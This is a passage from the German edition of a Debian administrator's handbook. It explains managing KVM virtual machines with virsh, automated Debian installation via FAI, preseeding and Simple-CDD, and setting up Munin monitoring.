Mit --disk wird der Ort der Abbild-Datei benannt, die die Festplatte unseres virtuellen Rechners darstellen soll; diese Datei wird, falls sie nicht bereits vorhanden ist, in einer Größe (in GB) erstellt, die mit dem Parameter size festgelegt wird. Der Parameter format ermöglicht die Auswahl zwischen mehreren Arten der Speicherung der Abbild-Datei. Das voreingestellte Format (raw) besteht aus einer einzelnen Datei, die in Größe und Inhalt der Platte entspricht. Wir haben hier ein weiter entwickeltes Format gewählt, das für QEMU spezifisch ist, und bei dem man mit einer kleinen Datei beginnen kann, die nur größer wird, wenn der virtuelle Rechner tatsächlich damit beginnt, Platz zu belegen.

Die Option --cdrom wird zur Anzeige des Ortes verwendet, an dem sich die optische Platte befindet, die für die Installierung benutzt wird. Der Pfad kann entweder ein lokaler Pfad zu einer ISO-Datei sein, eine URL, von der die Datei bezogen werden kann, oder die Gerätedatei eines physischen CD-ROM-Laufwerks (das heißt /dev/cdrom).

Mit --network wird festgelegt, wie sich die virtuelle Netzwerkkarte in die Netzwerkkonfiguration des Hosts integriert. Das voreingestellte Verhalten (das in unserem Beispiel ausdrücklich erzwungen wird) besteht darin, sie in eine bereits bestehende Netzwerk-Bridge einzubinden. Falls es eine derartige Bridge nicht gibt, kann der virtuelle Rechner das physische Netzwerk nur über NAT erreichen, das heißt, dass er eine Adresse in einem privaten Teilnetzbereich erhält (192.168.122.0/24).

--vnc gibt an, dass die grafische Konsole unter Verwendung von VNC zur Verfügung gestellt werden soll. Das voreingestellte Verhalten des zugeordneten VNC-Servers besteht darin, nur an der lokalen Schnittstelle auf Eingaben zu warten. Fall der VNC-Client auf einem anderen Host laufen soll, muss zur Herstellung der Verbindung ein SSH-Tunnel eingerichtet werden (siehe Section 9.2.2.3, “Verschlüsselte Tunnel mit Port-Weiterleitung einrichten”). Alternativ kann --vnclisten=0.0.0.0 verwendet werden, so dass von allen Schnittstellen aus auf den VNC-Server zugegriffen werden kann. Man beachte jedoch, dass in diesem Fall die Firewall wirklich entsprechend eingestellt werden sollte.

Mit den Optionen --os-type und --os-variant lassen sich einige Parameter des virtuellen Rechners optimieren in Abhängigkeit von den bekannten Funktionen des Betriebssystems, das hier genannt wird.

Jetzt läuft der virtuelle Rechner, und wir müssen uns mit der grafischen Konsole verbinden, um den Installationsprozess fortzusetzen. Falls die bisherigen Schritte in einer grafischen Arbeitsumgebung ausgeführt wurden, sollte diese Verbindung von sich aus starten. Anderenfalls, oder falls wir aus der Ferne arbeiten, kann virt-viewer von jeder beliebigen grafischen Umgebung aus aufgerufen werden, um die grafische Konsole zu öffnen (man beachte, dass zweimal nach dem Root-Passwort des entfernten Hosts gefragt wird, da dieser Arbeitsgang zwei SSH-Verbindungen erfordert):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

Wenn der Installationsprozess endet, startet der virtuelle Rechner neu und ist dann einsatzbereit.

12.2.3.4. Rechner mit virsh verwalten

Nachdem die Installation nunmehr erledigt ist, wollen wir sehen, wie man mit den vorhandenen virtuellen Rechnern umgeht. Zunächst soll libvirtd nach einer Liste der virtuellen Rechner, die er verwaltet, gefragt werden:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- - testkvm shut off

Lassen Sie uns unseren virtuellen Testrechner starten:

# virsh -c qemu:///system start testkvm Domain testkvm started

Wir können jetzt die Verbindungshinweise für die grafische Konsole bekommen (die angegebene VNC-Anzeige kann als Parameter an vncviewer übergeben werden):

# virsh -c qemu:///system vncdisplay testkvm :0

Zu den weiteren bei virsh verfügbaren Unterbefehlen gehören:

reboot, um einen virtuellen Rechner neu zu starten;

shutdown, um ein sauberes Herunterfahren einzuleiten;

destroy, um ihn brutal zu stoppen;

suspend, um ihn in den Bereitschaftsbetrieb zu versetzen;

resume, um ihn wieder in Betrieb zu nehmen;

autostart, um den automatischen Start des virtuellen Rechners beim Hochfahren des Hosts zu aktivieren (oder ihn mit der Option --disable zu deaktivieren);

undefine, um alle Spuren des virtuellen Rechners von libvirtd zu entfernen.

Alle diese Unterbefehle erfordern als einen ihrer Parameter die Kennung eines virtuellen Rechners.

12.3. Automatische Installation

Die Falcot Corp. Administratoren benötigen, wie viele Administratoren großer IT-Dienste, Werkzeuge, um ihre neuen Rechner schnell aufzusetzen (oder wieder aufzusetzen), und das möglichst automatisch.

Diese Erfordernisse können von einer großen Vielzahl von Lösungen erfüllt werden. Auf der einen Seite erledigen allgemeine Hilfsprogramme wie zum Beispiel SystemImager dies, indem sie von einem Rechner als Vorlage ein Abbild erzeugen, und dieses dann auf den Zielsystemen einrichten. Am anderen Ende des Spektrums kann das normale Debian-Installationsprogramm mit einer Konfigurationsdatei voreingestellt werden, die die Fragen, die während des Installationsprozesses gestellt werden, beantwortet. Als eine Art Mittelweg setzt ein Hybridwerkzeug wie FAI (Fully Automatic Installer) Rechner unter Verwendung des Paketsystems auf, gleichzeitig verwendet es aber auch seine eigene Infrastruktur für Aufgaben, die für eine Massenverteilung typisch sind (wie zum Beispiel das Starten, Partitionieren, Konfigurieren und so weiter).

Jede dieser Lösungen hat ihre Vor- und Nachteile: SystemImager arbeitet unabhängig von einem bestimmten Paketsystem, wodurch es ihm möglich ist, eine große Anzahl von Rechnern, die mehrere unterschiedliche Linux-Distributionen verwenden, zu verwalten. Es enthält auch ein Aktualisierungssystem, das keine Neuinstallation erfordert, jedoch kann dieses Aktualisierungssystem nur zuverlässig funktionieren, wenn die Rechner nicht unabhängig von ihm modifiziert werden; mit anderen Worten, der Benutzer darf selbst keinerlei Software aktualisieren oder irgendeine andere Software installieren. Ebenso dürfen Sicherheitsaktualisierungen nicht automatisiert werden, da auch sie durch das zentrale Bezugsabbild gehen müssen, das SystemImager unterhält. Für diese Lösung ist es außerdem erforderlich, dass die Zielrechner einheitlich sind, da sonst zahlreiche unterschiedliche Abbilder aufbewahrt und verwaltet werden müssten (eine i386-Abbild würde nicht zu einem PowerPC-Rechner passen und so weiter).

Demgegenüber kann eine automatische Installation unter Verwendung des Debian-Installationsprogramms an die Besonderheiten jedes Rechners angepasst werden: das Installationsprogramm holt die geeigneten Kernel und Softwarepakete von den passenden Repositories, erkennt die verfügbare Hardware, partitioniert die gesamte Festplatte zur Nutzung des verfügbaren Speicherplatzes, installiert das entsprechende Debian-System und richtet den passenden Boot-Loader ein. Jedoch installiert das Standard-Installationsprogramm nur Standard-Debian-Systeme mit dem Grundsystem und einem Satz vorausgewählter „Aufgaben“; die Installation eines bestimmten Systems mit Anwendungen, die nicht im Paketsystem enthalten sind, ist ausgeschlossen. Um dieses besondere Erfordernis zu erfüllen, muss das Installationsprogramm angepasst werden... Glücklicherweise ist das Installationsprogramm sehr modular, und es gibt Hilfsprogramme, um den größten Teil der für diese Anpassung erforderlichen Arbeit zu automatisieren, vor allem Simple-CDD (CDD ist ein Akronym für Custom Debian Derivatives). Jedoch handhabt selbst die Lösung mit Simple-CDD nur anfängliche Installationen; dies ist gewöhnlich kein Problem, da die Hilfsprogramme von APT später effiziente Aktualisierungen ermöglichen.

Wir werden nur einen groben Überblick über FAI geben, und SystemImager (das nicht mehr in Debian enthalten ist) vollständig übergehen, um stärkere Aufmerksamkeit auf das Debian-Installationsprogramm und Simple-CDD zu richten, die im Zusammenhang mit einem reinen Debian-System interessanter sind.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer ist vielleicht das älteste automatische Einrichtungssystem für Debian, wodurch sich sein Status als Referenz erklärt. Seine sehr flexible Art ist jedoch nur ein schwacher Ausgleich für die mit ihm einhergehende Kompliziertheit.

FAI erfordert ein Server-System, um die Einrichtungsinformation zu speichern und das Hochfahren der Zielrechner über das Netzwerk zu ermöglichen. Dieser Server benötigt das Paket fai-server (oder fai-quickstart, das auch die für eine Standardkonfiguration erforderlichen Elemente mit sich bringt).

FAI verwendet einen besonderen Ansatz zur Festlegung der verschiedenen zu installierenden Profile. Es vervielfältigt nicht einfach eine Referenz-Installation, sondern ist ein vollwertiges Installationsprogramm, das durch einen auf dem Server gespeicherten Satz von Dateien und Skripten vollständig konfigurierbar ist. Der voreingestellte Speicherort /srv/fai/config/ wird nicht automatisch erstellt, sondern der Administrator muss ihn zusammen mit den entsprechenden Dateien erstellen. In den meisten Fällen werden diese Dateien auf der Grundlage der Beispieldateien, die in der Dokumentation des Pakets fai-doc oder genauer gesagt in dem Verzeichnis /usr/share/doc/fai-doc/examples/simple/ vorhanden sind, angepasst.

Nachdem die Profile festgelegt sind, erzeugt der Befehl fai-setup die für den Start einer FAI-Installation erforderlichen Elemente. Dies bedeutet vor allem, ein minimales System (NFS-root) vorzubereiten und zu aktualisieren, das während der Installation benutzt wird. Alternativ kann mit dem Befehl fai-cd eine speziell hierfür vorgesehene Boot-CD erstellt werden.

Um alle diese Konfigurationsdateien erstellen zu können, ist ein gewisses Verständnis darüber erforderlich, wie FAI funktioniert. Ein typischer Installationsprozess besteht aus folgenden Schritten:

einen Kernel aus dem Netzwerk holen und laden;

das Wurzel-Dateisystem des NFS einhängen;

/usr/sbin/fai ausführen, das den Rest des Prozesses steuert (die folgenden Schritte werden daher durch dieses Skript ausgelöst);

den Konfigurationsraum vom Server nach /fai/ kopieren;

fai-class ausführen. Die Skripten /fai/class/[0-9][0-9]* werden nacheinander ausgeführt und ergeben Bezeichnungen für „Klassen“, die für den Rechner gelten, der gerade installiert wird; diese Information dient als Grundlage für die nachfolgenden Schritte. Es ermöglicht eine gewisse Flexibilität in der Festlegung der Dienste, die installiert und konfiguriert werden.

eine Anzahl von Konfigurationsvariablen in Abhängigkeit von den entsprechenden Klassen holen;

die Festplatten partitionieren und die Partitionen formatieren auf der Grundlage der in /fai/disk_config/klasse bereitgestellten Informationen;

diese Partitionen einhängen;

das Grundsystem installieren;

die Debconf-Datenbank mit fai-debconf voreinstellen;

die Liste verfügbarer Pakete für APT holen;

die in /fai/package_config/klasse aufgelisteten Pakete installieren;

die Nachkonfigurationsskripten /fai/scripts/klasse/[0-9][0-9]* ausführen;

die Installationsprotokolle speichern, die Partitionen aushängen und einen Neustart durchführen.

12.3.2. Das Debian-Installationsprogramm voreinstellen

Letzten Endes sollte das beste Werkzeug zur Installation von Debian-Systemen logischerweise das offizielle Debian-Installationsprogramm sein. Deshalb wurde das Debian-Installationsprogramm von Anfang an für den automatischen Einsatz konzipiert, indem es sich die Infrastruktur zunutze macht, die durch debconf bereitgestellt wird. Letzteres ermöglicht es einerseits, die Anzahl der Fragen, die gestellt werden, zu verringern (verdeckte Fragen benutzen die angebotene voreingestellte Antwort), und andererseits, die voreingestellten Antworten getrennt bereitzustellen, so dass die Installation nicht-interaktiv erfolgen kann. Diese letzte Funktion wird Preseeding genannt.

WEITERE SCHRITTE Debconf mit einer zentralisierten Datenbank

Preeseeding ermöglicht es, zur Zeit der Installation einen Satz von Antworten auf Fragen von Debconf bereitzustellen, jedoch sind diese Antworten statisch und entwickeln sich im Laufe der Zeit nicht weiter. Da bereits installierte Rechner möglicherweise aktualisiert werden müssen, und neue Antworten erforderlich werden, kann die Konfigurationsdatei /etc/debconf.conf so eingerichtet werden, dass Debconf externe Datenquellen benutzt (wie zum Beispiel einen LDAP-Verzeichnis-Server oder eine entfernte Datei, die über NFS oder Samba eingehängt ist). Mehrere externe Datenquellen können gleichzeitig festgelegt werden, und sie ergänzen einander. Die lokale Datenbank wird weiterhin (für Lese- und Schreibzugriff) genutzt, während die entfernten Datenbanken gewöhnlich nur gelesen werden können. Die Handbuchseite debconf.conf(5) beschreibt alle Möglichkeiten im Detail.

12.3.2.1. Eine Preseed-Datei verwenden

Es gibt mehrere Orte, an denen das Installationsprogramm eine Preseed-Datei erhalten kann:

in der initrd, die zum Hochfahren des Rechners verwendet wird; in diesem Fall geschieht das Preseeding ganz zu Anfang der Installation, und alle Fragen können vermieden werden. Die Datei muss nur preseed.cfg genannt und im Hauptverzeichnis von initrd gespeichert werden.

auf den Boot-Medien (CD oder USB-Stick); das Preseeding geschieht dann, sobald das Medium eingehängt ist, das heißt, gleich nach den Fragen nach der Sprache und der Tastaturbelegung. Der Boot-Parameter preseed/file kann benutzt werden, um den Ort der Preseed-Datei anzugeben (zum Beispiel /cdrom/preseed.cfg, wenn die Installation von einer CD-ROM aus erfolgt, oder /hd-media/preseed.cfg im Falle eines USB-Sticks).

aus dem Netzwerk; das Preseeding geschieht dann erst, nachdem das Netzwerk (automatisch) konfiguriert worden ist; der entsprechende Boot-Parameter lautet in diesem Fall preseed/url=http://server/preseed.cfg.

Auf den ersten Blick sieht es so aus, als bestehe die interessanteste Lösung darin, die Preseed-Datei in die initrd einzufügen; jedoch wird dies in der Praxis selten genutzt, da es recht kompliziert ist, eine Installations-initrd zu erstellen. Die anderen beiden Lösungen finden sich weit häufiger, vor allem da Boot-Parameter einen weiteren Weg zur Bereitstellung von Antworten auf die ersten Fragen des Installationsprozesses darstellen. Um sich die Mühe zu sparen, diese Boot-Parameter bei jeder Installation von Hand einzugeben, besteht der übliche Weg darin, sie in der Konfiguration für isolinux (im Falle der CD-ROM) oder für syslinux (beim USB-Stick) abzuspeichern.

12.3.2.2. Eine Preseed-Datei erstellen

Eine Preseed-Datei ist eine reine Textdatei, in der jede Zeile die Antwort auf eine Debconf-Frage enthält. Eine Zeile ist über vier Felder aufgeteilt, die durch Leerraum (Leerzeichen oder Tabulatoren) getrennt sind, wie zum Beispiel in d-i mirror/suite string stable:

das erste Feld ist der „Besitzer“ der Frage; „d-i“ wird für Fragen verwendet, für die das Installationsprogramm zuständig ist, es kann aber auch ein Paketname sein für Fragen, die von Debian-Paketen kommen;

das zweite Feld ist eine Kennung für die Frage;

das dritte die Art der Frage;

das vierte und letzte Feld enthält den Begriff der Antwort; man beachte, dass es vom dritten Feld durch ein einzelnes Leerzeichen getrennt sein muss, so dass der Begriff mit einem Leerraum beginnen kann.

Am einfachsten lässt sich eine Preseed-Datei schreiben, indem man ein System von Hand installiert. Dabei stellt debconf-get-selections --installer die Antworten bereit, die das Installationsprogramm betreffen. Antworten zu anderen Paketen können mit debconf-get-selections erlangt werden. Eine sauberere Lösung besteht jedoch darin, die Preseed-Datei von Hand zu schreiben, indem man mit einem Beispiel und der Referenz-Dokumentation beginnt: bei dieser Herangehensweise brauchen nur Fragen, bei denen die voreingestellte Antwort geändert werden muss, angegeben zu werden; mit dem Boot-Parameter priority=critical weist man Debconf an, nur kritische Fragen zu stellen und für die übrigen die voreingestellten Antworten zu verwenden.

DOKUMENTATION Anhang zur Installationsanleitung

Die Installationsanleitung, die online zur Verfügung steht, enthält in einem Anhang eine ausführliche Dokumentation zum Einsatz einer Preseed-Datei. Sie enthält auch eine detaillierte und kommentierte Beispieldatei, die als Grundlage für lokale Anpassungen dienen kann.

→ http://www.debian.org/releases/squeeze/i386/apb.html

→ http://www.debian.org/releases/squeeze/example-preseed.txt

12.3.2.3. Ein angepasstes Boot-Medium erstellen

Zwar ist es gut zu wissen, wo die Preseed-Datei gespeichert werden sollte, aber der Ort ist nicht alles: man muss auf die eine oder andere Weise das Boot-Medium für die Installation anpassen, um die Boot-Parameter zu ändern und die Preseed-Datei hinzuzufügen.

12.3.2.3.1. Aus dem Netzwerk hochfahren

Wenn ein Rechner aus dem Netzwerk hochgefahren wird, legt der Server, der die Initialisierungselemente sendet, auch die Boot-Parameter fest. Daher müssen die Änderungen in der PXE-Konfiguration für den Boot-Server vorgenommen werden; genauer gesagt in seiner Konfigurationsdatei /tftpboot/pxelinux.cfg/default. Voraussetzung hierfür ist, dass das Hochfahren aus dem Netzwerk eingerichtet wird; siehe die Installationsanleitung für Einzelheiten.

→ http://www.debian.org/releases/squeeze/i386/ch04s05.html

12.3.2.3.2. Einen bootfähigen USB-Stick herstellen

Nachdem ein bootfähiger Stick hergestellt worden ist (siehe Section 4.1.2, “Von einem USB-Stick hochfahren”), sind einige zusätzliche Arbeitsgänge erforderlich. Angenommen der Inhalt des Sticks liegt unter /media/usbdisk/ bereit:

die Preseed-Datei nach /media/usbdisk/preseed.cfg kopieren

/media/usbdisk/syslinux.cfg editieren und die erforderlichen Boot-Parameter hinzufügen (siehe unten stehendes Beispiel).

Example 12.2. syslinux.cfg-Datei und Preseeding-Parameter

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US console-keymaps-at/keymap=us languagechooser/language-name=English countrychooser/shortlist=US vga=normal initrd=initrd.gz --

12.3.2.3.3. Ein CD-ROM-Abbild erstellen

Ein USB-Stick ist ein Lese- und Schreibmedium, von daher war es für uns einfach, auf ihm eine Datei hinzuzufügen und einige Parameter zu ändern. Im Falle einer CD-ROM ist dieser Vorgang komplizierter, da wir ein vollständiges ISO-Abbild neu erstellen müssen. Diese Aufgabe wird von debian-cd erledigt, jedoch ist dieses Hilfsprogramm in der Anwendung recht umständlich: es benötigt einen lokalen Spiegel, und es erfordert das Verständnis aller Optionen, die /usr/share/debian-cd/CONF.sh bietet; selbst dann noch muss make mehrmals aufgerufen werden. Es ist daher empfehlenswert, /usr/share/debian-cd/README durchzulesen.

Allerdings funktioniert debian-cd stets auf ähnliche Weise: ein „Abbild“-Verzeichnis mit dem genauen Inhalt der CD-ROM wird erzeugt und dann mit einem Hilfsprogramm wie genisoimage, mkisofs oder xorriso in eine ISO-Datei umgewandelt. Das Abbildverzeichnis ist endgültig fertiggestellt, nachdem in debian-cd der Schritt make image-trees ausgeführt wurde. An dieser Stelle fügen wir die Preseed-Datei in das passende Verzeichnis ein (normalerweise $TDIR/squeeze/CD1/, wobei $TDIR einer der Parameter ist, die durch die Konfigurationsdatei CONF.sh festgelegt werden). Die CD-ROM benutzt isolinux als ihren Boot-Loader, und seine Konfigurationsdatei muss dem angepasst werden, was mit debian-cd erzeugt worden ist, um die erforderlichen Boot-Parameter einzufügen (die konkrete Datei heißt $TDIR/squeeze/boot1/isolinux/isolinux.cfg). Anschließend kann der „normale“ Ablauf wieder aufgenommen werden, und wir können dazu übergehen, mit make image CD=1 das ISO-Abbild zu erzeugen (oder mit make images, falls mehrere CD-ROMs erzeugt werden).

12.3.3. Simple-CDD: die Komplettlösung

Um alle Erfordernisse zu erfüllen, die bei großen Verbreitungsaktionen auftreten, genügt es nicht, einfach eine Preseed-Datei zu verwenden. Obwohl es damit möglich ist, am Ende des normalen Installationsprozesses einige Skripten auszuführen, ist die Auswahl des zu installierenden Satzes von Paketen noch nicht sehr flexibel (im Grunde können nur „Aufgaben“ ausgewählt werden); wichtiger ist noch, dass so nur offizielle Debian-Pakete installiert werden können und lokal erstellte ausgeschlossen sind.

Andererseits kann debian-cd externe Pakete integrieren, und das Debian-Installationsprogramm kann durch das Hinzufügen weiterer Schritte zum Installationsprozess erweitert werden. Durch die Kombination dieser Fähigkeiten sollte es möglich sein, ein angepasstes Installationsprogramm zu erstellen, das unsere Anforderungen erfüllt; es sollte sogar in der Lage sein, einige Dienste nach dem Entpacken der erforderlichen Pakete zu konfigurieren. Glücklicherweise ist dies nicht nur eine Annahme, da dies genau das ist, was Simple-CDD (im Paket simple-cdd) macht.

Der Zweck von Simple-CDD besteht darin, es jedem zu ermöglichen, auf einfache Weise eine von Debian abgeleitete Distribution zu erstellen, indem eine Teilmenge der verfügbaren Pakete ausgewählt wird, diese mit Debconf vorkonfiguriert werden, bestimmte Software hinzugefügt wird, und am Ende des Installationsprozesses angepasste Skripten ausgeführt werden. Dies entspricht der Philosophie des „universellen Betriebssystems“, da jeder es an seine Bedürfnisse anpassen kann.

12.3.3.1. Profile erstellen

Simple-CDD legt „Profile“ fest, die dem Konzept der „Klassen“ bei FAI entsprechen, und ein Rechner kann über mehrere Profile verfügen (die während der Installation bestimmt werden). Ein Profil wird durch einen Satz von Dateien namens profiles/profil.* definiert:

die Datei .description enthält eine einzeilige Beschreibung des Profils;

die Datei .packages listet die Pakete auf, die bei der Auswahl des Profils automatisch installiert werden;

die Datei .downloads listet die Pakete auf, die auf den Installationsmedien gespeichert, aber nicht unbedingt installiert werden;

die Datei .preseed enthält die Preseeding-Information für Debconf-Fragen (für das Installationsprogramm und für die Pakete);

die Datei .postinst enthält ein Skript, das am Ende des Installationsprozesses ausgeführt wird;

und schließlich ermöglicht es die Datei .conf, einige Parameter von Simple-CDD auf der Grundlage der Profile, die in dem Abbild enthalten sein werden, zu ändern.

Das Profil default spielt eine besondere Rolle, da es immer ausgewählt ist; es enthält das absolute Minimum dessen, das erforderlich ist, damit Simple-CDD funktioniert. Das Einzige, das in diesem Profil normalerweise angepasst ist, ist der Preseed-Parameter simple-cdd/profiles: er vermeidet die Frage, welche Profile installiert werden sollen, die sonst von Simple-CDD gestellt würde.

Man beachte auch, dass die Befehle von dem Verzeichnis aus aufgerufen werden müssen, das dem Verzeichnis profiles übergeordnet ist.

12.3.3.2. build-simple-cdd konfigurieren und benutzen

KURZER BLICK Detaillierte Konfigurationsdatei

Ein Beispiel einer Konfigurationsdatei für Simple-CDD mit allen möglichen Parametern ist in dem Paket enthalten (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz). Diese kann als Ausgangspunkt genommen werden, wenn man eine angepasste Konfigurationsdatei erstellt.

Simple-CDD erfordert zahlreiche Parameter, um in vollem Umfang zu wirken. Sie sind meistens in einer Konfigurationsdatei versammelt, an die build-simple-cdd mit der Option --conf verwiesen werden kann, sie können aber auch über besondere Parameter festgelegt werden, die an build-simple-cdd übergeben werden. Hier ist ein Überblick darüber, wie sich dieser Befehl verhält, und wie die Parameter eingesetzt werden:

der Parameter profiles listet die Profile auf, die in dem erzeugten CD-ROM-Abbild enthalten sein werden;

ausgehend von der Liste der erforderlichen Pakete lädt Simple-CDD die passenden Dateien von dem Server herunter, der unter server genannt ist, und versammelt sie in einem partiellen Spiegel (der später an debian-cd übergeben wird);

die selbst erstellten Pakete, die in local_packages angegeben sind, werden auch in diesen lokalen Spiegel integriert;

dann wird debian-cd mit der Liste der zu integrierenden Pakete ausgeführt (innerhalb eines voreingestellten Ortes, der mit der Variablen debian_cd_dir festgelegt werden kann);

sobald debian-cd sein Verzeichnis erstellt hat, wendet Simple-CDD einige Änderungen auf dieses Verzeichnis an:

Dateien, die die Profile enthalten, werden einem Unterverzeichnis namens simple-cdd hinzugefügt (das sich schließlich auf der CD-ROM wiederfinden wird);

weitere Dateien, die im Parameter all_extras aufgeführt sind, werden ebenfalls hinzugefügt;

die Boot-Parameter werden so angepasst, dass sie das Preseeding ermöglichen. Fragen zur Sprache und zum Land können vermieden werden, indem die erforderliche Information in den Variablen language und country gespeichert wird.

debian-cd erzeugt dann das endgültige ISO-Abbild.

12.3.3.3. Ein ISO-Abbild erzeugen

Nachdem wir eine Konfigurationsdatei geschrieben und unsere Profile festgelegt haben, besteht der verbleibende Schritt darin, den Befehl build-simple-cdd --conf simple-cdd.conf aufzurufen. Nach einigen Minuten erhalten wir in images/debian-6.0-i386-CD-1.iso das erwünschte Abbild.

12.4. Überwachung

Monitoring ist ein allgemeiner Ausdruck, und die verschiedenen damit verbundenen Aktivitäten haben mehrere Ziele: einerseits ist es durch die Verfolgung der Ressourcennutzung eines Rechners möglich, seine volle Auslastung und die daraufhin erforderlichen Nachrüstungen vorherzusehen; andererseits kann ein Problem frühzeitiger behoben werden, wenn der Administrator informiert wird, sobald ein Dienst nicht verfügbar ist oder nicht richtig funktioniert.

Munin deckt den ersten Bereich ab, indem es Diagramme der vergangenen Werte einer Reihe von Parametern anzeigt (verwendetes RAM, belegter Plattenplatz, Prozessorlast, Netzwerkverkehr, Apache/MySQL-Auslastung und so weiter). Nagios umfasst den zweiten Bereich, indem es regelmäßig überprüft, ob die Dienste funktionieren und verfügbar sind, und indem es über geeignete Kanäle (E-Mails, Textnachrichten und so weiter) Warnungen verschickt. Beide haben eine modulare Bauweise, wodurch es einfach ist, neue Plugins zur Überwachung bestimmter Parameter oder Dienste zu erstellen.

ALTERNATIVE Zabbix, ein integriertes Monitoringprogramm

Obwohl Munin und Nagios sehr weit verbreitet sind, sind sie nicht die einzigen Akteure auf dem Gebiet des Monitoring, und jedes von ihnen erledigt nur eine Hälfte der Aufgabe (grafische Darstellungen auf der einen Seite und Warnungen auf der anderen). Zabbix integriert dagegen beide Teile des Monitorings; es hat außerdem eine Web-Schnittstelle zur Konfigurierung der häufigsten Aspekte. Es hat sich in den vergangenen Jahren rasant weiterentwickelt und kann inzwischen als ernster Herausforderer angesehen werden.

→ http://www.zabbix.org/

ALTERNATIVE Icinga, eine Nagios-Abspaltung

Angespornt von Meinungsverschiedenheiten bezüglich des Entwicklungsmodells für Nagios (das von einem Unternehmen kontrolliert wird) hat eine Anzahl von Entwicklern eine Abspaltung von Nagios erstellt und verwendet dafür Icinga als seinen neuen Namen. Icinga ist - bisher - noch mit den Konfigurationen und Plugins für Nagios kompatibel, fügt jedoch auch zusätzliche Funktionen hinzu.

→ http://www.icinga.org/

12.4.1. Munin einrichten

Munin hat die Aufgabe, zahlreiche Rechner zu überwachen; daher verwendet es natürlich eine Client/Server-Architektur. Der zentrale Host - der Grapher - sammelt Daten aller überwachten Hosts und erzeugt Verlaufsdiagramme.

12.4.1.1. Zu überwachende Hosts konfigurieren

Der erste Schritt besteht darin, das Paket munin-node zu installieren. Der Daemon, der mit diesem Paket installiert wird, nimmt an Port 4949 Verbindungen an und sendet die Daten zurück, die von allen aktiven Plugins gesammelt werden. Jedes Plugin ist ein einfaches Programm, das sowohl eine Beschreibung der gesammelten Daten als auch die jüngsten Messwerte wiedergibt. Plugins werden in /usr/share/munin/plugins/ gespeichert, aber nur diejenigen mit einer symbolischen Verknüpfung in /etc/munin/plugins/ werden tatsächlich benutzt.

Wenn das Paket installiert ist, wird in Abhängigkeit von der verfügbaren Software und der aktuellen Konfiguration des Hosts ein Satz aktiver Plugins festgelegt. Diese Autokonfiguration hängt jedoch von einer Funktion ab, die jedes Plugin bereitstellen muss, und es empfiehlt sich normalerweise, die Ergebnisse zu überprüfen und von Hand nachzustellen. Es wäre sicherlich interessant, für jedes Plugin eine ausführliche Dokumentation zu haben, aber leider gibt es keine offiziellen Anleitungen. Alle Plugins sind jedoch Skripten, und die meisten von ihnen sind recht einfach aufgebaut und ausführlich kommentiert. Das Durchsuchen von /etc/munin/plugins/ ist daher eine gute Methode, um eine Vorstellung davon zu bekommen, worum es bei jedem Plugin geht, und welche entfernt werden sollten. Ebenso lässt sich ein interessantes Plugin, das man in /usr/share/munin/plugins/ gefunden hat, einfach durch die Erstellung einer symbolischen Verknüpfung mit dem Befehl ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/ aktivieren.

Nachdem alle Plugins richtig eingerichtet sind, muss die Konfiguration des Daemons aktualisiert werden, um die Zugriffskontrolle für die gesammelten Daten zu beschreiben. Hierzu sind allow-Anweisungen in der Datei /etc/munin/munin-node.conf erforderlich. Die Standardkonfiguration lautet allow ^127\.0\.0\.1$ und ermöglicht nur Zugriff auf den lokalen Host. Ein Administrator fügt gewöhnlich eine ähnliche Zeile mit der IP-Adresse des Grapher-Hosts hinzu und startet den Daemon anschließend mit invoke-rc.d munin-node restart neu.

WEITERE SCHRITTE Lokale Plugins erstellen

Trotz des Fehlens einer offiziellen Dokumentation für Standard-Plugins enthält Munin eine ausführliche Anleitung darüber, wie sich Plugins verhalten sollten und wie man neue Plugins entwickelt.

→ http://munin-monitoring.org/wiki/Documentation

Ein Plugin wird am besten getestet, indem man es unter den gleichen Bedingungen laufen lässt, unter denen es laufen würde, wenn es durch munin-node in Gang gesetzt würde; dies kann dadurch simuliert werden, dass man munin-run plugin als Root ausführt. Ein möglicher weiterer Parameter, der diesem Befehl hinzugefügt wird (wie zum Beispiel config), wird als Parameter an das Plugin weitergeleitet.

Wenn ein Plugin mit dem Parameter config aufgerufen wird, muss es sich selbst beschreiben, indem es einen Satz von Feldern wiedergibt:

$ sudo munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

Die verschiedenen möglichen Felder sind in der Spezifikation „configuration protocol“ auf der Munin-Webseite beschrieben.

→ http://munin-monitoring.org/wiki/protocol-config

Wenn es ohne einen Parameter aufgerufen wird, gibt das Plugin einfach die zuletzt gemessenen Werte wieder; so könnte zum Beispiel die Ausführung des Befehls sudo munin-run load die Meldung load.value 0.12 ergeben.

Wenn schließlich ein Plugin mit dem Parameter autoconf aufgerufen wird, sollte es mit „yes“ (und dem Beendigungsstatus 0) oder mit „no“ (und dem Beendigungsstatus 1) antworten, je nachdem, ob das Plugin auf diesem Host aktiviert sein sollte oder nicht.

12.4.1.2. Den Grapher konfigurieren

Der „Grapher“ ist einfach der Rechner, der die Daten aggregiert und die entsprechenden Diagramme erzeugt. Die erforderliche Software befindet sich in dem Paket munin. Die Standardkonfiguration führt den Befehl munin-cron (alle 5 Minuten) aus, der die Daten von allen Hosts, die in /etc/munin/munin.conf aufgelistet sind (nur der lokale Host ist hier standardmäßig aufgeführt), sammelt, die vergangenen Daten in RRD-Dateien (Round Robin Database, einem Dateiformat zur Speicherung von Daten, die sich im Verlaufe der Zeit ändern) unter /var/lib/munin/ speichert und in /var/cache/munin/www/ eine HTML-Seite mit den Diagrammen erstellt.

Alle überwachten Rechner müssen daher in der Konfigurationsdatei /etc/munin/munin.conf aufgeführt sein. Jeder Rechner ist als vollständiger Absatz aufgelistet mit einer Bezeichnung, die dem Rechner entspricht und wenigstens einem address-Eintrag, der die dazugehörige IP-Adresse angibt.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

Die Absätze können komplexer sein und zusätzliche Diagramme beschreiben, die durch die Kombination von Daten mehrerer Rechner erzeugt werden könnten. Die in der Konfigurationsdatei bereitgestellten Beispiele sind ein guter Ausgangspunkt für die Anpassung.

